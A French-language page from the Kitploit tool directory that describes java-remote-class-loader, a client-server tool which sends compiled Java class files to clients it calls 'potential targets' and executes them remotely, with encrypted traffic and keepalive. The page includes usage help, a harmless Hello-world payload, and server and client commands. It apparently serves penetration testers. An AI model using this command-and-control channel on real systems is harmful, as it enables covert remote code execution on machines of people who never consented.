Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
java-remote-class-loader — Outil client-serveur pour charger et exécuter à distance du bytecode Java via ClassLoader et l'API Reflect, avec chiffrement ChaCha20 et connexion keepalive. | Kitploit
Outils/GitHubGitHub/joaovarelas/java-remote-class-loader
Outils de Chiffrement/DéchiffrementGénération de PayloadsExploitationCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

Outil client-serveur pour charger et exécuter à distance du bytecode Java via ClassLoader et l'API Reflect, avec chiffrement ChaCha20 et connexion keepalive.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
3463il y a 4 ansVérifié par Kitploit

java-remote-class-loader

Cet outil vous permet d'envoyer du bytecode Java sous forme de fichiers de classe à vos clients (ou cibles potentielles) pour les charger et les exécuter en utilisant Java ClassLoader avec l'API Reflect. Le client reçoit le fichier de classe du serveur et renvoie la sortie d'exécution respective. Les charges utiles doivent être écrites en Java et compilées avant de démarrer le serveur.

Fonctionnalités

  • Architecture client-serveur
  • Chargement distant de fichiers de classe Java
  • Chiffrement en transit via le chiffrement ChaCha20
  • Paramètres définis via arguments
  • Mécanisme de keepalive pour rétablir la communication si le serveur redémarre

Installation

L'outil a été testé avec OpenJDK 11 et le package JRE Java, à la fois sur Windows et Linux (version portable zip). La version de Java doit être 11 ou supérieure en raison des dépendances.

https://www.openlogic.com/openjdk-downloads

Utilisation

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

Exemple

En supposant que vous ayez la charge utile Hello World suivante dans le fichier Payload.java :

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

Ensuite, vous devez compiler et produire le fichier Payload.class correspondant.

Pour exécuter le processus serveur écoutant sur le port 1337 sur toutes les interfaces réseau :

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Côté client, vous pouvez utiliser le même package JAR avec l'option -client et utiliser la clé symétrique générée par le serveur. Spécifiez l'adresse IP du serveur et le port de connexion. Vous pouvez également modifier le nom de la classe et la méthode de la classe (les valeurs par défaut sont respectivement Payload et String exec()). De plus, vous pouvez spécifier -keepalive pour que le client continue de demander le fichier de classe au serveur tout en maintenant la connexion.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Références

Consultez https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ pour un article de blog lié au développement de cet outil.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

Télécharger l’outil